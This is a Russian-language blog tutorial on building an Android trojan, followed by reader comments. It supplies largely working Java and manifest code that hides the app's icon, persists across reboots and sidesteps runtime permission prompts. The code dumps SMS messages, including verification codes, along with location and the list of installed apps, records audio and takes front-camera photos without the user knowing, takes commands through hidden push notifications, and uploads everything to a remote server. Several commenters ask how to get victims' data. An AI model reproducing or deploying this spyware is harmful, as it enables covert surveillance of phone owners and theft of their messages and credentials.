Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Еще по теме: Как вирусы попадают в Google Play Market
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
1 2 3 4 5 6 7 8 9 10 |
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.READ_SMS" /> |
В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<activity android:name="com.example.app.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name="com.example.app.MainService" android:enabled="true" android:exported="false"> </service> |
Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
1 2 3 4 5 6 7 8 9 10 |
void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState) // Запускаем сервис startService(new Intent(this, MainService.class)); // Отключаем Activtiy ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity"); pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); } |
Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
Location getLastLocation(Context context) { LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE); android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); long GPSLocationTime = 0; if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); } long NetLocationTime = 0; if (null != locationNet) { NetLocationTime = locationNet.getTime(); } Location loc; if ( 0 < GPSLocationTime - NetLocationTime ) { loc = locationGPS; } else { loc = locationNet; } if (loc != null) { return loc; } else { return null; } } |
Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
1 2 3 4 5 6 7 8 9 |
Location loc = getLastKnownLocation(context) String locationFile = context.getApplicationInfo().dataDir + "/location" try { OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE)); outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude); outputStreamWriter.close(); } catch (IOException e) {} |
Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
void dumpSMS(Context context) { String appsFile = context.getApplicationInfo().dataDir + "/apps" final PackageManager pm = context.getPackageManager(); List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); try { PrintWriter pw = Files.writeLines(appsFile); for (ApplicationInfo packageInfo : packages) { if (!isSystemPackage(packageInfo)) pw.println(pm.getApplicationLabel(packageInfo) + ": " + packageInfo.packageName); } pw.close(); } catch (IOException e) {} } private boolean isSystemPackage(ApplicationInfo applicationInfo) { return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0); } |
Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
void dumpSMS(Context context, String file, String box) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.US); Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/" + box), null, null, null, null); try { PrintWriter pw = Files.writeLines(file); if (cursor != null && cursor.moveToFirst()) { do { String address = null; String date = null; String body = null; for (int idx = 0; idx < cursor.getColumnCount(); idx++) { switch (cursor.getColumnName(idx)) { case "address": address = cursor.getString(idx); break; case "date": date = cursor.getString(idx); break; case "body": body = cursor.getString(idx); } } if (box.equals("inbox")) { pw.println("From: " + address); } else { pw.println("To: " + address); } String dateString = formatter.format(new Date(Long.valueOf(date))); pw.println("Date: " + dateString); if (body != null) { pw.println("Body: " + body.replace('\n', ' ')); } else { pw.println("Body: "); } pw.println(); } while (cursor.moveToNext()); } pw.close(); cursor.close(); } catch (Exception e) {} } |
Использовать его следует так:
1 2 3 4 5 6 7 |
// Сохраняем список всех полученных СМС String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox" dumpSMS(context, inboxFile, "inbox"); // Сохраняем список отправленных СМС String sentFile = context.getApplicationInfo().dataDir + "/sms_sent"; dumpSMS(context, sentFile, "sent"); |
Записи в файле будут выглядеть примерно так:
1 2 3 |
From: Google Date: 2017.02.24 06:49:55 Body: G-732583 is your Google verification code. |
Скрытая запись аудио
Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
void recordAudio(String file, final int time) { MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile(file); try { recorder.prepare(); } catch (IOException e) {} recorder.start(); Thread timer = new Thread(new Runnable() { @Override public void run() { try { Thread.sleep(time * 1000); } catch (InterruptedException e) { Log.d(TAG, "timer interrupted"); } finally { recorder.stop(); recorder.release(); } } }); timer.start(); } |
Использовать его можно, например, так:
1 2 3 4 5 6 |
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss", Locale.US); Date date = new Date(); String filePrefix = context.getApplicationInfo().dataDir + "/audio-"; recordAudio(filePrefix + formatter.format(date) + ".3gp", 15); |
Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 |
public class SilentCamera2 { private Context context; private CameraDevice device; private ImageReader imageReader; private CameraCaptureSession session; private SurfaceTexture surfaceTexture; private CameraCharacteristics characteristics; private Surface previewSurface; private CaptureRequest.Builder request; private Handler handler; private String photosDir; public SilentCamera2(Context context) { this.context = context; } private final CameraDevice.StateCallback mStateCallback = new CameraDevice.StateCallback() { @Override public void onOpened(CameraDevice cameraDevice) { device = cameraDevice; try { surfaceTexture = new SurfaceTexture(10); previewSurface = new Surface(surfaceTexture); List<Surface> surfaceList = new ArrayList<>(); surfaceList.add(previewSurface); surfaceList.add(imageReader.getSurface()); cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler); } catch (Exception e) { } } @Override public void onDisconnected(CameraDevice cameraDevice) { } @Override public void onError(CameraDevice cameraDevice, int error) { } }; private CameraCaptureSession.StateCallback mCaptureStateCallback = new CameraCaptureSession.StateCallback() { @Override public void onConfigured(CameraCaptureSession captureSession) { session = captureSession; try { request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW); request.addTarget(previewSurface); request.set(CaptureRequest.CONTROL_AF_TRIGGER, CameraMetadata.CONTROL_AF_TRIGGER_START); captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler); } catch (Exception e) { } } @Override public void onConfigureFailed(CameraCaptureSession mCaptureSession) {} }; private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { @Override public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request, TotalCaptureResult result) { } }; private final ImageReader.OnImageAvailableListener mOnImageAvailableListener = new ImageReader.OnImageAvailableListener() { @Override public void onImageAvailable(ImageReader reader) { DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss"); Date date = new Date(); String filename = photosDir + "/" + dateFormat.format(date) + ".jpg"; File file = new File(filename); Image image = imageReader.acquireLatestImage(); try { ByteBuffer buffer = image.getPlanes()[0].getBuffer(); byte[] bytes = new byte[buffer.remaining()]; buffer.get(bytes); OutputStream os = new FileOutputStream(file); os.write(bytes); image.close(); os.close(); } catch (Exception e) { e.getStackTrace(); } closeCamera(); } }; private void takePicture() { request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation()); request.addTarget(imageReader.getSurface()); try { session.capture(request.build(), mCaptureCallback, handler); } catch (CameraAccessException e) { } } private void closeCamera() { try { if (null != session) { session.abortCaptures(); session.close(); session = null; } if (null != device) { device.close(); device = null; } if (null != imageReader) { imageReader.close(); imageReader = null; } if (null != surfaceTexture) { surfaceTexture.release(); } } catch (Exception e) { } } public boolean takeSilentPhoto(String cam, String dir) { photosDir = dir; int facing; switch (cam) { case "front": facing = CameraCharacteristics.LENS_FACING_FRONT; break; case "back": facing = CameraCharacteristics.LENS_FACING_BACK; break; default: return false; } CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE); String cameraId = null; characteristics = null; try { for (String id : manager.getCameraIdList()) { characteristics = manager.getCameraCharacteristics(id); Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING); if (currentFacing != null && currentFacing == facing) { cameraId = id; break; } } } catch (Exception e) { return false; } HandlerThread handlerThread = new HandlerThread("CameraBackground"); handlerThread.start(); handler = new Handler(handlerThread.getLooper()); imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2); imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler); try { manager.openCamera(cameraId, mStateCallback, handler); // Ждем фокусировку Thread.sleep(1000); takePicture(); } catch (Exception e) { Log.d(TAG, "Can't open camera: " + e.toString()); return false; } return true; } private int getOrientation() { WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE); int rotation = wm.getDefaultDisplay().getRotation(); int deviceOrientation = 0; switch(rotation){ case Surface.ROTATION_0: deviceOrientation = 0; break; case Surface.ROTATION_90: deviceOrientation = 90; break; case Surface.ROTATION_180: deviceOrientation = 180; break; case Surface.ROTATION_270: deviceOrientation = 270; break; } int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION); deviceOrientation = (deviceOrientation + 45) / 90 * 90; boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT; if (facingFront) deviceOrientation = -deviceOrientation; return (sensorOrientation + deviceOrientation + 360) % 360; } } |
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
1 2 |
String cameraDir = context.getApplicationInfo().dataDir + "/camera/" camera.takeSilentPhoto("front", cameraDir); |
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Еще по теме: Как создать RAT для Android
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
public class Alarm extends BroadcastReceiver { public static void set(Context context) { AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(context, Alarm.class); PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0); am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent); } @Override public void onReceive(Context context, Intent intent) { // Твой код здесь } } |
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
1 |
Alarm.set(this) |
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
1 2 3 4 5 6 |
class ScreenOnReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { // Ваш код здесь } } |
И добавьте в манифест следующие строки:
1 2 3 4 5 |
<receiver android:name="com.example.app.ScreenOnReceiver"> <intent-filter> <action android:name="android.intent.action.ACTION_SCREEN_ON" /> </intent-filter> </receiver> |
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
1 2 3 4 5 6 7 |
class BootReceiver extends BroadcastReceiver() { @Override void onReceive(Context context, Intent intent) { Intent serviceIntent = new Intent(this, MainService.class); startService(serviceIntent); } } |
И опять же добавим его в манифест:
1 2 3 4 5 |
<receiver android:name="com.example.BootReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> |
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
String url = "http://example.com/cmd" OkHttpClient client = new OkHttpClient(); Request request = new Request.Builder().url(url).build(); while (true) { Response response = client.newCall(request).execute(); String cmd = response.body().string(); cmd = cmd.trim() if (cmd.equals("record")) { // Делаем аудиозапись } try { Thread.sleep(60 * 1000); } catch (InterruptedException e) {} } |
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
1 2 3 4 5 6 7 |
class App extends Application { @Override public void onCreate() { super.onCreate() OneSignal.startInit(this).init() } } |
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
1 2 3 4 5 6 7 8 9 10 11 12 |
class OSService extends NotificationExtenderService { @Override protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) { String cmd = receivedResult.payload.body.trim() if (cmd.equals("record")) { // Делаем аудиозапись } // Не показывать уведомление return true } } |
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
1 2 3 4 5 6 7 |
<service android:name="org.antrack.app.service.OSService" android:exported="false"> <intent-filter> <action android:name="com.onesignal.NotificationExtender" /> </intent-filter> </service> |
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg"); public void uploadImage(File image, String imageName) throws IOException { OkHttpClient client = new OkHttpClient(); RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM) .addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image)) .build(); Request request = new Request.Builder().url("http://com.example.com/upload") .post(requestBody).build(); Response response = client.newCall(request).execute(); } |
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?
На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).
Еще по теме: Где скачать вирусы
Что за pm?
pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);}
У кого-то что то получилось?
алексей никто не хочет себя палить
подскажите,где это всё прописывать с помощью андроида?командная строка или что??
это кажись приложуха на C# так что можешь написать в visual studio а потом компилировать в apk файл
а не возможно это java
Спасибо большое!
Хороший сайт. Много полезной информации.
Спасибо за интересную информацию.
А как зделать такой сервер чтоби туда шли дание
что за среда разработки
Это в блокнот надо писать или куда
:/
В дневник пиши. Только потом этот дневник под подушку не клади. Утром голова болеть будет )))
Это программа для компьютера называеться android studio там и делаетсья все программы для андроида
А версия для телефона есть
Это java
А скажите пожалуйста куда идёт вся информация? И как сделать чтоб она мне шла?
А куда данные с заражённого телефона будут переходить?
Пишет: «Не удалось обработать пакет.».
я создал тройник значит но когда перевожу в АПК файл то выдает ошибка чё хоть делать то
Dadaya
У тебя точно получится написать его)))
Это Джава и писать проще в Андроид Студио
Сам Андроид студио вряд ли есть для телефона, но есть похожие проги.
Загугли, что нибудь точно найдешь